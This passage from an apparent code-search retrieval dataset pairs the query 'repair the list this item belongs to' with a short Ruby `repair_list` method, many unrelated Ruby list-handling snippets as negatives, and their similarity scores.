Listbook.find_or_create_by(isbn: isbn)\n self.listbooks << book unless self.listbooks.include? book\n book.save!\n end\n\n self.listbooks.uniq!\n end", "def process_list(word_list)\n word_set = {}\n output = []\n\n word_list.each_with_index do |word, index|\n hash = hash_word(word)\n word_set[hash] ||= []\n word_set[hash] << wrap_word_with_index(word, index)\n\n if word_set[hash].length >= 2\n word_set[hash].each do |word_index|\n word, i = word_index\n # Place the word in it's original index/placement of the original string\n output.insert(i, word)\n end\n end\n end\n output.compact\nend", "def fix_permtemps(bibid,con_full,response)\n\t ##Rails.logger.debug \"\\nes287_debug #{__method__.to_s}: #{__FILE__} line(#{__LINE__}) con_full=#{con_full.inspect}\\n\"\n\t ##Rails.logger.debug \"\\nes287_debug #{__method__.to_s}: #{__FILE__} line(#{__LINE__}) response=#{response.inspect}\\n\"\n\t if @document.nil?\n\t iarray = nil\n\t else\n\t ##Rails.logger.debug \"\\nes287_debug fix_perm: #{__FILE__} line(#{__LINE__}) @document.item_record_display=#{@document['item_record_display'].inspect}\\n\"\n\t iarray = @document['item_record_display']\n\t end\n\t items = []\n\t if iarray.nil?\n\t return con_full\n\t end\n\t ##Rails.logger.debug \"\\nes287_debug fix_perm: #{__FILE__} line(#{__LINE__}) iarray=#{iarray.inspect}\\n\"\n\t iarray.each do |ite|\n\t items << JSON.parse(ite)\n\t end\n\t ##Rails.logger.debug \"\\nes287_debug fix_perm: #{__FILE__} line(#{__LINE__}) items=#{items.pretty_inspect}\\n\"\n\t ##Rails.logger.debug \"\\nes287_debug fix_perm: #{__FILE__} line(#{__LINE__}) items=#{items}\\n\"\n\t # from response create an array of items similar to that of solr\n\t items_db = []\n\t if response[bibid] and response[bibid][bibid] and response[bibid][bibid][:records]\n\t response[bibid][bibid][:records].each do |record|\n\t if record[:bibid].to_s == bibid\n\t\trecord[:holdings].each do |hdb|\n\t\t hso = {}\n\t\t hso['mfhd_id'] = hdb['MFHD_ID'].to_s\n\t\t hso['item_id'] = hdb['ITEM_ID'].to_s\n\t\t hso['perm_location'] = {}\n\t\t hso['perm_location']['number'] = hdb['PERM_LOCATION']\n\t\t hso['perm_location']['code'] = hdb['PERM_LOCATION_CODE']\n\t\t hso['perm_location']['name'] = hdb['PERM_LOCATION_DISPLAY_NAME']\n\t\t hso['perm_location']['library'] = hdb['PERM_LOCATION_DISPLAY_NAME']\n\t\tif hdb['TEMP_LOCATION_ID'] != 0\n\t\t\t hso['temp_location'] = {}\n\t\t\t hso['temp_location']['code'] = hdb['TEMP_LOCATION_CODE']\n\t\t\t hso['temp_location']['number'] = hdb['TEMP_LOCATION_ID']\n\t\t\t hso['temp_location']['name'] = hdb['TEMP_LOCATION_DISPLAY_NAME']\n\t\t\t hso['temp_location']['library'] = hdb['TEMP_LOCATION_DISPLAY_NAME']\n\t\t end\n\t\t items_db << hso\n\t\tend\n\t end\n\t end\n\t end\n\n\t ##Rails.logger.debug \"\\nes287_debug #{__method__.to_s}: #{__FILE__} line(#{__LINE__}) items_db=#{items_db.inspect}\\n\"\n\t # for each holding record, count the items\n\t cond2 = []\n\t items2 = Marshal.load( Marshal.dump(items) )\n\t con_full.each do |loc|\n\t loc2 = loc\n\t #select from items array those with matching mfhd_id, and count them. how many items on this mfhd?\n\t # we have to check against data directly from the db as solr might be out of date.\n\t im = items_db.select {|i| i['mfhd_id'] == loc['holding_id'][0] }\n\t imc = im.count\n\t im2 = items2.select {|i| i['mfhd_id'] == loc['holding_id'][0] }\n\t imc2 = im2.count\n\t tm = im.select {|i| i['temp_location'] && !i['temp_location']['code'].blank? }\n\t pm = im2.select {|i| !i['perm_location']['code'].blank? }\n\t pl = (pm.select {|i| !i['perm_location']['code'].blank? }).each{|x| x.keep_if{|k,v| k== 'perm_location'}}\n pl.uniq!\n\t tl = (tm.select {|i| !i['temp_location']['code'].blank? }).each{|x| x.keep_if{|k,v| k== 'temp_location'}}\n\t #select from items array those with matching mfhd_id and a temp loc, and count them. how many items on this mfhd with a temp location?\n\t if pm.count > 0 and pm.count == imc2 and tm.count == 0\n if pl.size == 1\n\t\t loc2['location_name'] = pl[0]['perm_location']['name']\n\t\t loc2['location_code'] = pl[0]['perm_location']['code']\n\t\t loc2['copies'][0].delete('temp_locations')\n end\n\t end\n\t if tm.count > 0 and tm.count == imc\n\t\tloc2['location_name'] = tl[0]['temp_location']['name']\n\t\tloc2['location_code'] = tl[0]['temp_location']['code']\n\t\tloc2['copies'][0].delete('temp_locations')\n\t end\n\t cond2 << loc2\n\t end\n\t cond2\n\t end", "def create_list\n\t{}\nend", "def prepare_setlist(setlist_songs, starting_index, encore)\n \n last_index = starting_index\n\n # loop through every song in the setlist in order (non-encore or encore), normalizing their sequence numbers\n setlist_songs.values.select{|val| val[\"Encore\"] == encore.to_s}.sort_by{|a| a[\"Chrono\"].to_i }.each_with_index do |b, i|\n\n last_index = starting_index + i\n\n # sequence in 10s\n b[\"Chrono\"] = (last_index * 10).to_s\n\n # if there's no override song name, add in the real song name\n if b[\"SONGID\"].present? \n b[\"Song\"] = Song.find(b[\"SONGID\"].to_i).full_name if b[\"Song\"].empty?\n end\n\n # empty text fields should be null in the database\n b[:MediaLink] = nil if b[:MediaLink].strip.empty?\n b[:VersionNotes] = nil if b[:VersionNotes].strip.empty?\n\n end\n\n last_index + 1\n\n end", "def make_list(list_of_items)\n x = list_of_items.split(\" \")\n $old_list = Hash.new(0)\n \n x.each {|item| $old_list[item] = 0 }\n p $old_list\n # hash[\"item3\"] = 2 \n # x.each (accessing every value from the array) converting each value to a key \n #new_hash.each {|x, y| y = 0 }\n\nend", "def fix_items\n valid_items = EquipmentModel.where(id: items.keys).collect(&:id)\n self.items = items.select { |em, _count| valid_items.include? em }\n end", "def catalogoEspecieChecklist(taxon)\n catalogos_permitidos = []\n res = { catalogos: [], riesgo: { 'NOM-059-SEMARNAT 2010' => [], 'IUCN' => [], 'CITES' => [] } }\n\n tipo_dist = tipoDistribucionChecklist(taxon)\n res[:catalogos] = tipo_dist if tipo_dist\n\n catalogos_permitidos << 4 if params[:f_desc].present? && params[:f_desc].include?('x_cat_riesgo')\n catalogos_permitidos << 2 if params[:f_desc].present? && params[:f_desc].include?('x_ambiente')\n catalogos_permitidos << 16 if params[:f_desc].present? && params[:f_desc].include?('x_residencia')\n catalogos_permitidos << 18 if params[:f_desc].present? && params[:f_desc].include?('x_formas')\n\n if catalogos_permitidos.any?\n taxon.catalogos.each do |catalogo|\n next unless catalogos_permitidos.include?(catalogo.nivel1)\n\n case catalogo.nivel1\n when 4\n next unless [1,2,3].include?(catalogo.nivel2) # Solo las categorias de riesgo y comercio\n\n case catalogo.nivel2\n when 1\n res[:riesgo]['NOM-059-SEMARNAT 2010'] << catalogo.descripcion\n when 2\n res[:riesgo]['IUCN'] << catalogo.descripcion\n when 3\n res[:riesgo]['CITES'] << catalogo.descripcion\n end\n else\n res[:catalogos] << catalogo.descripcion\n end\n end\n end\n\n if res[:catalogos].any?\n @@html << \"<p class='etiqueta-checklist m-0'>#{res[:catalogos].join(', ')}</p>\"\n end\n\n cats = []\n res[:riesgo].each do |k,v|\n next unless v.present?\n cats << \"#{k}: #{v.join(',')}\"\n end\n\n cats.any? ? \"<p class='f-categorias-riesgo-checklist text-right m-0'>#{cats.join('; ')}</p>\" : nil\n end", "def set_list_form\n @states = [{\"name\":\"DISPONIBLE\"},{\"name\":\"OBSOLETO\"}]\n @hometowns = [{\"name\":\"PRODUCCION\"},{\"name\":\"SEGREGADO\"},{\"name\":\"INVENTARIO\"},{\"name\":\"DEVOLUCIONES\"},{\"name\":\"OTROS\"}]\n @dispositions = [{\"name\":\"SOBRANTES\"},{\"name\":\"MOLINO\"}]\n end", "def new_list(list_name)\nlist_name = Hash.new\nend", "def create_list(items)\r\n\r\n\tgrocery_list = {}\r\n\r\n\tlist_items = items.split(\" \")\r\n\r\n\t#best practice...\r\n\tlist_items.each do |item_name|\r\n\t\tgrocery_list = add_item(grocery_list, item_name)\r\n\tend\r\n\r\n\treturn grocery_list\r\nend", "def prepare_update\n # All elder broadcasts are trash...\n tmp = @broadcasts; \n @broadcasts = []\n @to_destroy = tmp.reject {|bc| bc.dirty?}\n\n # Get rid of unsolved, conflicts with unactivated broadcasts\n @conflicts = @conflicts.reject{|c| c.active_broadcast.nil?}\n\n # Clean all unactivated broadcasts from remaining conflicts\n @conflicts.each {|c| c.new_broadcasts = [] }\n\n # unless somebody used them\n tmp.select { |bc| bc.dirty? }.each do |bc|\n self.add_conflict( :conflict => find_or_create_conflict_by_active_broadcast(bc) )\n end\n end", "def filtere_list_for_cp_or_bo\n @lawyers,@lawfirms=[],[]\n if is_secretary?\n created_by_user_ids=@assigned_lawfirm_users.map(&:id)\n created_by_user_ids << current_user.id\n notes = Communication.notes_for_secretary(created_by_user_ids,current_user.id)\n else\n livian_ids = @cluster_livian_users.map(&:id)\n livian_ids = [0] if livian_ids.blank?\n lawyer_ids = @assigned_lawfirm_users.map(&:id)\n lawyer_ids = [0] if lawyer_ids.blank?\n notes = Communication.notes_for_manager(lawyer_ids,livian_ids)\n end\n company_ids = notes.map(&:company_id).uniq\n @lawfirms = Company.find(company_ids)\n if params[:search].present? && params[:search][:company_id].present?\n @lawyers = get_company_lawyers(current_user,params[:search][:company_id],\"communications\")\n else\n user_ids = notes.map(&:assigned_by_employee_user_id).uniq\n @lawyers = User.find(user_ids)\n end\n \n if is_team_manager\n @logged_by_users = [[\"----livians----\",\"\"]]\n @logged_by_users += @cluster_livian_users.collect{|livian|[livian.full_name,livian.id]}\n @logged_by_users << [\"----lawyers----\",\"\"]\n @logged_by_users += @lawyers.collect{|lowyer|[lowyer.full_name,lowyer.id]}\n end\n end", "def cleanUpMountedItems\n # Filtering weapons\n @weapons = @weapons.select { |weapon| weapon.uses > 0 }\n\n # Filtering shields\n @shieldBoosters = @shieldBoosters.select { |shield| shield.uses > 0 }\n end", "def build_csr_list\n @csr = []\n csr = []\n tempcsr = []\n calllist = Calllist.all\n calllist.each do |c|\n if c.csr && !tempcsr.include?(c.csr)\n tempcsr.push(c.csr)\n end\n end\n\n csr = tempcsr.sort\n if !session[:called_csr] || session[:called_csr == '']\n # not returning from update of called flag\n session[:called_csr] = csr[0]\n session[:called_day] = 'MONDAY'\n end\n\n i = 1\n @selected_csr = 0\n csr.each do |c|\n select_item = []\n select_item.push(c)\n select_item.push(i)\n @csr.push(select_item)\n if c == session[:called_csr]\n @selected_csr = i\n end\n i += 1\n end\n session[:calllist_csrs] = @csr\n\n # Set up the call list for the first CSR or the returning CSR after 'called' flag update\n @calllists = []\n\n @altcsr = []\n @usualcsr = []\n @shipto = []\n @dept = []\n @altcsrs_day = []\n @custcode = []\n now = Date.today\n altcsr = Altcsr.all\n altcsr.each do |a|\n if a.altcsrs_start <= now + 1 && a.altcsrs_end >= now\n @altcsr.push(a.altcsr)\n @usualcsr.push(a.usualcsr)\n @shipto.push(a.shipto)\n @dept.push(a.dept)\n @altcsrs_day.push(a.altcsrs_day)\n @custcode.push(a.custcode)\n end\n end\n\n calllist.each do |c|\n if c.csr\n altcsr_found = false\n altcsr_length = @altcsr.length\n i = 0\n while i < altcsr_length\n if @usualcsr[i] == c.csr && session[:called_csr] == @altcsr[i] && c.custcode == @custcode[i] && c.shipto == @shipto[i] && c.dept == @dept[i] && c.calllists_day == @altcsrs_day[i]\n altcsr_found = true\n break\n end\n i += 1\n end\n if (c.calllists_day == session[:called_day] || c.callback_day == session[:called_day]) && (c.csr == session[:called_csr] || altcsr_found)\n # include call list records that are a direct match for csr and also if there is an altcsr override active for another csr\n @calllists.push(c)\n end\n end\n end\n end", "def createlist(items)\n new_items = items.split(\" \")\n list = Hash.new\n new_items.each {|item| list[item] = 1}\n prettylist(list)\n # use print_list method\nend", "def fix_notes(condensed)\n\t condensed.each do |loc|\n\t ##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) location=#{loc['location_name']} #{loc['call_number']}\\n\"\n\t ##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) copies = \" + loc[\"copies\"][0].count.inspect\n\t if !loc[\"copies\"][0][\"items\"][\"Not Available\"].blank? and loc[\"copies\"][0][\"items\"][\"Not Available\"][\"status\"] == 'none'\n\t ##Rails.logger.debug \"\\nes287_debug line(#{__LINE__}) seems like there are no items, so copy notes,etc.\"\n\t ['orders','summary_holdings','supplements','indexes','notes',\n\t\t 'reproduction_note','current_issues'].each do |type|\n\t\tloc[\"copies\"][0][type] = loc[type] unless loc[type].blank?\n\t end\n\t end\n\t end\n\t condensed\n\t end", "def getValidListingsFromExcel\n # get all values the rows below the attribute row\n parse_args = {}\n @excel_attributes_raw.each{ |x_attr| parse_args[x_attr.to_sym] = x_attr }\n @listing_data = @import_file.parse(parse_args)\n\n # transform excel data\n data = []\n @listing_data.each_with_index do |row, j| \n data << {}\n\n row.each do |field|\n if j == 0\n data[j][field[0].to_s.downcase.gsub(\" \", \"_\").to_sym] = field[1].downcase.gsub(\" \", \"_\")\n else\n if field[1].class.to_s == \"String\"\n da = field[1].gsub(\"<html>\", \"\").gsub(\"</html>\", \"\")\n else\n da = field[1]\n end\n data[j][field[0].to_s.downcase.gsub(\" \", \"_\").to_sym] = da\n end\n end\n end\n @listing_data = data\n\n # delete columns which are not valid\n @listing_data[0].each_with_index do |header_row_element, index|\n unless @valid_attributes.map{|el| el[:name]}.include?(header_row_element[1])\n @listing_data.each_with_index do |data_rows, ii|\n data_rows.delete(header_row_element[0]) if ii > 0\n end\n @listing_data[0].delete(header_row_element[0])\n end\n end\n end", "def deploy_checklists\n return if checklist_not_allowed?\n\n # WITH REQUEST\n if (self.active_requests.count > 0)\n self.project.active_requests.each { |r|\n next if !r.milestone_names or !r.milestone_names.include?(self.name)\n for t in ChecklistItemTemplate.find(:all, :conditions=>\"is_transverse=0\").select{ |t|\n t.milestone_names.map{|n| n.title}.include?(self.name) and\n (t.workpackages.map{|w| w.title}.include?(r.work_package)) and\n (r.contre_visite==\"No\" or r.contre_visite_milestone==self.name)\n }\n deploy_checklist(t,r)\n end\n\n }\n # WITHOUT REQUEST + IS_QR_QWR\n elsif self.project.is_qr_qwr == true\n for t in ChecklistItemTemplate.find(:all, :conditions=>\"is_transverse=0 and is_qr_qwr=1\").select{ |t|\n t.milestone_names.map{|n| n.title}.include?(self.name)\n }\n deploy_checklist_without_request(t)\n end\n end\n\n end", "def reset_list!\n @cookbook_services = nil\n @service_list = nil\n end", "def setup\n to_delete = []\n @word_list.each do |word|\n\n # Run the word through the validator and return if it is valid or not\n status = validate_word(word)\n\n # If the words invalid add it to the list of words to delete.\n to_delete.push(word) if status\n end\n\n # Remove all the invalid words\n to_delete.each do |invalid_word|\n @word_list.delete(invalid_word)\n end\n\n # Generate a random number in range of the world list length, the word at this\n # index is the game word, split that into an array of chars, using strip incase there is random\n # whitespace for whatever reason\n word_index = rand(@word_list.length)\n @whole_word = @word_list[word_index]\n @word_to_guess = @word_list[word_index].strip.split('')\n\n home\n end", "def set_word_list\n word_list = []\n min_length = 5\n max_length = 12\n # Fixed external word_list file has only one word per line\n if File.exist? \"../word_list.txt\"\n File.open(\"../word_list.txt\").each do |line|\n line_clean = line.chomp\n if (line_clean.length >= min_length && line_clean.length <= max_length)\n word_list.push(line_clean)\n end\n end\n else\n word_list.push(\"FileWordListTextDoesNotExist\")\n end\n return word_list\n end", "def clean_up\n end", "def clean_up\n end", "def merge_new list, raw_apps\n new_list = Hash.new\n\n raw_apps.each do\n |app|\n if list[app].class == NilClass\n new_list[app] = 0\n else\n new_list[app] = list[app]\n end\n end\n return new_list\nend", "def generate_list(list_name,options_table)\n name.set list_name\n #set all checkboxes off before you start\n block_size_checkboxes.each do |checkbox|\n checkbox.set(false)\n end\n\n options_table.raw.each do |row|\n case row[0]\n when 'Arm'\n arm_names.each_with_index do |arm,index|\n arm_ratios[index].set row[2] if arm.text == row[1]\n end\n when 'Rand ID'\n if row[1] == 'Sequential'\n numbers_sequential.click\n starting_number.set row[2] if row[2] != ''\n elsif row[1] == 'Random'\n numbers_random.click\n if row[2] != ''\n range.set(true)\n starting_number.set row[2]\n ending_number.set row[3]\n end\n end\n when 'Sites'\n site_num_start.set row[1]\n site_num_end.set row[2]\n when 'Block Size'\n block_sizes.each_with_index do |block,index|\n if block.text==row[1]\n block_size_checkboxes[index].set(true)\n number_of_blocks[index].set row[2]\n end\n break if index >= block_size_checkboxes.size()-1\n end\n when 'Rand Seed'\n randseed_checkbox.set(true)\n randseed.set row[1]\n end\n end\n generate_list_btn.click\n end", "def newDemandListForCycle()\n list = [] ;\n @factoryList.each{|factory|\n sublist = factory.newDemandListForCycle() ;\n list.concat(sublist) ;\n }\n return list ;\n end", "def items_list_gg_old\n return self.pickedup_items.map{|it| \" #{it.andand.item.andand.item_code} [#{it.number_donated}] \" << (it.comments.blank? ? \"\" : \"(#{it.comments}) \")}.join(\"/\")\n end", "def process_ingredient_list\n return if @ingredient_list.blank?\n\n # if this recipe was just created, save original_ingredient_list\n if original_ingredient_list.blank?\n self.original_ingredient_list = @ingredient_list\n end\n \n if @ingredient_list.is_a?(String)\n ingr_array = @ingredient_list.split(/\\n/)\n else\n ingr_array = @ingredient_list\n end\n\n # Usually Rails just sets the key to null. To really delete the record, the following two lines are needed\n ingredients_recipes.each {|ir| ir.delete}\n ingredients_recipes.reload\n \n ingr_array.each_with_index do |line, index|\n line.strip!\n next if line.empty?\n \n # check for groups first, then ingredients. Groups are deliminated with stars like this: *Group*\n attrs = {}\n if line =~ /^\\*(.*)\\*$/\n attrs[:description] = $1\n attrs[:group] = true\n else\n # If a comma, assume everything past is a comment so only parse the first part but then \n # add it back in before processing the description\n line.downcase!\n comma_index = line.index(\",\")\n desc_part = ''\n unless comma_index.blank?\n desc_part = line.slice!(comma_index .. -1)\n end\n attrs[:ingredient] = Ingredient.find_name_and_create(line)\n attrs[:weight] = Ingredient.find_num(line)\n attrs[:unit] = Ingredient.find_unit(line)\n line.slice!(desc_part) # Make sure desc_part is not included twice\n \n # if using the whole_unit, take it out here so it doesn't get repeated in the description\n if attrs[:unit] == 'whole' && !attrs[:ingredient].whole_unit.blank?\n line.slice!(attrs[:ingredient].whole_unit)\n end\n attrs[:description] = Ingredient.find_description(line + desc_part) \n end\n attrs[:line_num] = index\n attrs[:recipe_id] = self.id\n \n ingredient_recipe = IngredientsRecipe.create!(attrs)\n ingredients_recipes << ingredient_recipe\n Ingredient.standardize_unit(ingredient_recipe)\n end\n @ingredient_list = nil\n end", "def create_list(input_string)\n grocery_list = {}\n items = input_string.split(' ')\n items.each do |item|\n add_item_to_list(grocery_list, item, 1)\n end\n\n print_list(grocery_list)\n\n add_item_to_list(grocery_list, \"milk\", 1)\n update_item_from_list(grocery_list, \"Lemonade\", 2)\n update_item_from_list(grocery_list, \"Tomatoes\", 3)\n update_item_from_list(grocery_list, \"Onions\", 10)\n update_item_from_list(grocery_list, \"iceCream\", 20)\n\n print_list(grocery_list)\n\n remove_item_from_list(grocery_list, \"IceCream\")\n\n print_list(grocery_list)\n\nend", "def reindex(id_list_file, clean_index)\n reindex_list(id_list_file, clean_index)\n rescue ArgumentError => e\n raise e\n rescue StandardError => e\n Rails.logger.error 'Execution interrupted by unexpected error'\n Rails.logger.error [e.class.to_s, e.message, *e.backtrace].join($RS)\n end", "def populate\n storage = MultiJson.decode(collection.find_one['boom']) || []\n \n storage['lists'].each do |lists|\n lists.each do |list_name, items|\n @lists << list = List.new(list_name)\n\n items.each do |item|\n item.each do |name,value|\n list.add_item(Item.new(name,value))\n end\n end\n end\n end \n end", "def update_list(new_list,item,new_qty)\n new_list[item]=new_qty\n return new_list\nend", "def build_up_frbr_tree(int_digital_edition_id, bln_primary)\n \t@arr_frbr_tree = Array.new\n \t\n \t\n \t@items = ItemsHasDigitalEditions.where(\"digital_edition_id = ?\", int_digital_edition_id).order(\"item_has_digital_edition_primary ASC\")\n \[email protected] do |items_item|\n \t\tint_assoc_man = 0\n \t\t@item = Item.where(\"id = ?\", items_item.item_id)\n \t\[email protected] do |item_item|\n \t\t\t\tint_item_id = item_item.id\n\t\t\t\tstr_item_name = \"I_\" + item_item.id + \": \" + item_item.item_siglum\n\t\t\t\tint_assoc_man = item_item.manifestation_id\n \t\tend\n \t\t@arr_manifestation_master = Array.new\n \t\t@manifestations = Manifestation.where(\"id = ?\", int_assoc_man).order(\"manifestation_name ASC\")\n \t\[email protected] do |man_item|\n \t\t\t@arr_expressions_master = Array.new\n \t\t\t@exp_man_joins = ExpressionsHasManifestations.where(\"manifestation_id = ?\", man_item.id)\n \t\t\t@exp_man_joins.each do |exp_join_item|\n \t\t\t\n \t\t\t\t# here is where I have to put in the logic whether to display all expressions and works\n \t\t\t\t# or just the primary ones\n \t\t\t\tif (bln_primary)\n \t\t\t\t\t@expressions = Expression.joins(:works).where(\"expressions.id = ?\", exp_join_item.expression_id).order(\"expression_name ASC\")\n \t\t\t\telse\n \t\t\t\t\t@expressions = Expression.where(\"id = ?\", exp_join_item.expression_id).order(\"expression_siglum ASC\")\n \t\t\t\tend\n \t\t\t\[email protected] do |expression_item|\n \t\t\t\t\n \t\t\t\t\n \t\t\t\t\t@arr_works_master = Array.new\n \t\t\t\t\tif (bln_primary)\n \t\t\t\t\t\t@works = Work.where(\"work_frbr = 1 AND id = ?\", expression_item.work_id).order(\"work_name ASC\")\n \t\t\t\t\telse\n \t\t\t\t\t\t@works = Work.where(\"id = ?\", expression_item.work_id).order(\"work_siglum ASC\")\n \t\t\t\t\tend\n \t\t\t\t\[email protected] do |work_item|\n \t\t\t\t\t\t@arr_work_item = Array.new\n \t\t\t\t\t\tif bln_primary\n \t\t\t\t\t\t\tstr_work_item = \"W_\" + work_item.id.to_s + \": \" + work_item.work_name + \" (\" + work_item.work_siglum + \")\"\n \t\t\t\t\t\telse\n \t\t\t\t\t\t\tstr_work_item = \"(\" + work_item.work_siglum + \") \" + work_item.work_name + \": W_\" + work_item.id.to_s\n \t\t\t\t\t\tend\n \t\t\t\t\t\t@arr_work_item.push(work_item.id)\n \t\t\t\t\t\t@arr_work_item.push(str_work_item)\n \t\t\t\t\t\t@arr_works_master.push(@arr_work_item)\n \t\t\t\t\tend\n\n \t\t\t\t\t@arr_expression_item = Array.new\n \t\t\t\t\tstr_expression_item = \"E_\" + expression_item.id.to_s + \": \" + expression_item.expression_name + \" (\" + expression_item.expression_siglum + \")\"\n \t\t\t\t\t@arr_expression_item.push(expression_item.id)\n \t\t\t\t\t@arr_expression_item.push(str_expression_item)\n \t\t\t\t\t@arr_expression_item.push(@arr_works_master)\n \t\t\t\t\t@arr_expressions_master.push(@arr_expression_item)\n \t\t\t\t\t\n \t\t\t\tend\n\n \t\t\tend\n \t\t\t\n \t\t\t\n \t\t\t\n \t\t\t\n \t\t\t@arr_manifestation_item = Array.new\n \t\t\tstr_manifestation_name = \"M_\" + man_item.id.to_s + \": \" + man_item.manifestation_name + \" (\" + man_item.manifestation_siglum + \")\"\n \t\t\t@arr_manifestation_item.push(man_item.id)\n \t\t\t@arr_manifestation_item.push(str_manifestation_name)\n \t\t\t@arr_manifestation_item.push(@arr_expressions_master)\n\n \t\tend\n\n \t\t#fill the items array and push to tree master\n\t\tif (items_item.item_has_digital_edition_primary)\n\t\t\tint_item_primary = 1\n\t\telse\n\t\t\tint_item_primary = 0\n\t\tend\n\t\tstr_item_name = \"I_\" + item_item.id.to_s + \": \" + item_item.item_siglum\n\t\t@arr_item_item = Array.new\n\t\t@arr_item_item.push(int_item_id)\n\t\t@arr_item_item.push(str_item_name)\n\t\t@arr_item_item.push(int_item_primary)\n\t\t@arr_item_item.push(@arr_manifestation_master)\n \t\tarr_frbr_tree.push(@arr_item_item)\n \tend\n \t\n \treturn @arr_frbr_tree\n end", "def rebuild_competitors(bib_numbers)\n clear_competitors\n build_competitors(bib_numbers)\n end", "def clean_data(options={})\n \n @final_data.each_index do |i|\n record = @final_data[i]\n if record[:name].nil? # remove no-name records\n @final_data.delete_at(i)\n next\n end\n if record[:address].nil? # remove no-address records, can't display!\n @last_log << \"WARNING: Address Missing for #{record[:name]}!\\n\"\n @final_data.delete_at(i)\n next\n end\n if record[:elder].nil?\n @last_log << \"WARNING: Elder Missing for #{record[:name]}!\\n\"\n end\n if !record[:extra].nil? # if extra data, then assume it is city/state/zip,\n # merge :address and existing :city_state_zip,\n # put :extra data into :city_state_zip\n \n # fix data\n @final_data[i][:address] = \"#{record[:address]}, #{record[:city_state_zip]}\"\n @final_data[i][:city_state_zip] = \"#{record[:extra]}\"\n @final_data[i][:extra] = nil\n \n end\n if record[:address] =~ /Apt/ and record[:address] !=~ /,/\n # insert comma for Apt to make it easier on google\n @final_data[i][:address] = \"#{record[:address].gsub(/ Apt/, \", Apt\")}\"\n# @last_log << \"NOTE: Funny address found for #{record[:name]}!\\n\"\n# @last_log << \" Address: #{record[:address]}!\\n\"\n end\n if [email protected]?(record[:elder]) # if No elder found, then report\n @last_log << \"WARNING: No Elder found for #{record[:name]}!\\n\"\n if record[:address] !=~ /\\w*\\s\\w*/ and record[:extra].nil?\n # if this is the case, very likely this is the address\n # shift data by 1 record\n @final_data[i][:city_state_zip] = record[:address]\n @final_data[i][:address] = record[:elder]\n @final_data[i][:elder] = \"No Elder\"\n end\n end\n \n # finally filter for problematic addresses that don't seem to picked up by Google Maps Geocoding properly!\n if record[:address] =~ /FM 2222/\n @final_data[i][:address] = \"#{record[:address].gsub(/FM 2222/, \"RM 2222\")}\"\n end\n if record[:address] =~ /Mo Pac/\n @final_data[i][:address] = \"#{record[:address].gsub(/Mo Pac/, \"MoPac\")}\"\n end\n \n end\nend", "def create_list(items)\n\n\tgrocery_list_hash = {}\n\tlist_array = items.split(\" \")\n\n\tlist_array.each do |item|\n\t\tgrocery_list_hash.store(item.to_sym, 1)\n\tend\n\n\tgrocery_list_hash\nend", "def make_item_list\n @data = $game_system.places_unlocked;\n end", "def _non_summary_list(list)\n list_for_display = []\n list.each do |item|\n list_for_display += [item.to_hash]\n end\n\n list_for_display\n end", "def create_list(shopping_cart)\n\tshopping_cart = shopping_cart.split\n\tgrocery_list = {}\n\tshopping_cart.each do |item|\n\t\tadd_or_update_item(grocery_list, item)\n\tend\n\tpretty_list(grocery_list)\nend", "def fix_train_availables(tlist)\n phase_list = %w[1 2 3]\n phase_list << '3a' if @units[2] && !@kits[3]\n phase_list.concat(%w[4 4a]) if @kits[3]\n tlist.each do |h|\n h.delete(:available_on) if h[:available_on] && !phase_list.include?(h[:available_on])\n end\n end", "def process_lists\n @doc.css('ul', 'ol').each do |list|\n\n # If we get a list (ol/ul) which is not a root, we stop processing.\n if list.ancestors('ul').count > 0 || list.ancestors('ol').count > 0\n return\n end\n\n textile_list = []\n\n list.css('li').each do |li|\n process_li(li, textile_list)\n end\n\n list.replace(\"\\n\\n\" + textile_list.join(\"\\n\") + \"\\n\\n\")\n end\n end" ]
[ "0.70567656", "0.6887271", "0.62495327", "0.6060513", "0.6006566", "0.5834209", "0.5745101", "0.5727862", "0.57046217", "0.5699143", "0.5583915", "0.5583915", "0.5583915", "0.5553152", "0.55244637", "0.55119187", "0.55119187", "0.55119187", "0.54799175", "0.5466885", "0.5432535", "0.5432535", "0.5432535", "0.539287", "0.53873813", "0.53554696", "0.53420025", "0.53260916", "0.5315321", "0.5287706", "0.5268273", "0.5263393", "0.52519774", "0.52519774", "0.5245815", "0.524575", "0.52396977", "0.52105355", "0.52065575", "0.5178752", "0.51758075", "0.51617986", "0.51517415", "0.5150877", "0.51495385", "0.5148835", "0.51318765", "0.5125278", "0.5122785", "0.5117219", "0.5109246", "0.5107767", "0.5096734", "0.508992", "0.50816053", "0.50639945", "0.505697", "0.5049948", "0.5048883", "0.5048443", "0.5047728", "0.5046894", "0.5032769", "0.5030832", "0.5027494", "0.5026764", "0.5020054", "0.50196576", "0.5007179", "0.50037163", "0.4998284", "0.49946597", "0.49852356", "0.49802586", "0.49778116", "0.49773943", "0.49473074", "0.4941151", "0.49284947", "0.4927438", "0.49235043", "0.49219978", "0.49219978", "0.49218714", "0.49208155", "0.49159485", "0.49138165", "0.49071035", "0.49009803", "0.48983327", "0.48977685", "0.4896176", "0.48937958", "0.4893745", "0.4888238", "0.48842654", "0.48833445", "0.48815623", "0.4881001", "0.48783275", "0.48774627" ]
0.0
-1
repair the list this item belongs to
def repair_list self.class.repair_list(list_scope) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def repair_list\n model.repair_list(list_scope)\n end", "def fix_items\n valid_items = EquipmentModel.where(id: items.keys).collect(&:id)\n self.items = items.select { |em, _count| valid_items.include? em }\n end", "def remove_from_list\n # if in_list?\n # decrement_positions_on_lower_items\n # update_attribute position_column, nil\n # end \n return unless in_list?\n decrement_positions_on_lower_items\n update_attribute position_column, nil \n end", "def remove_item(item)\n # raises WrongListException if item.list != self\n # TODO\n end", "def remove_item(item_list, item)\r\n item_list.delete(item)\r\n item_list\r\nend", "def remove_item(item, list)\n\t# steps: delete the item if it exists\n\tlist.delete_if {|list_item| list_item == item.to_sym}\n\t# output: updated list\n\tlist\nend", "def remove_item (item,list)\nlist.delete(item)\nlist\nend", "def unpack\n list_items\n @items.each do |type,list|\n @items.delete(type)\n end\n end", "def list_remover(list_input_remover, item_name_remove)\n list_input_remover.delete(item_name_remove)\nend", "def remove_from_list\n return unless in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end", "def remove_item (item, list)\n list.delete(item)\n return list\nend", "def remove_item!(list, item)\r\n list.delete(item)\r\n list\r\nend", "def remove_item(item, list)\n list.delete(item)\n return list\nend", "def remove_item(list_item,user_list)\n user_list.delete(list_item)\n user_list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def 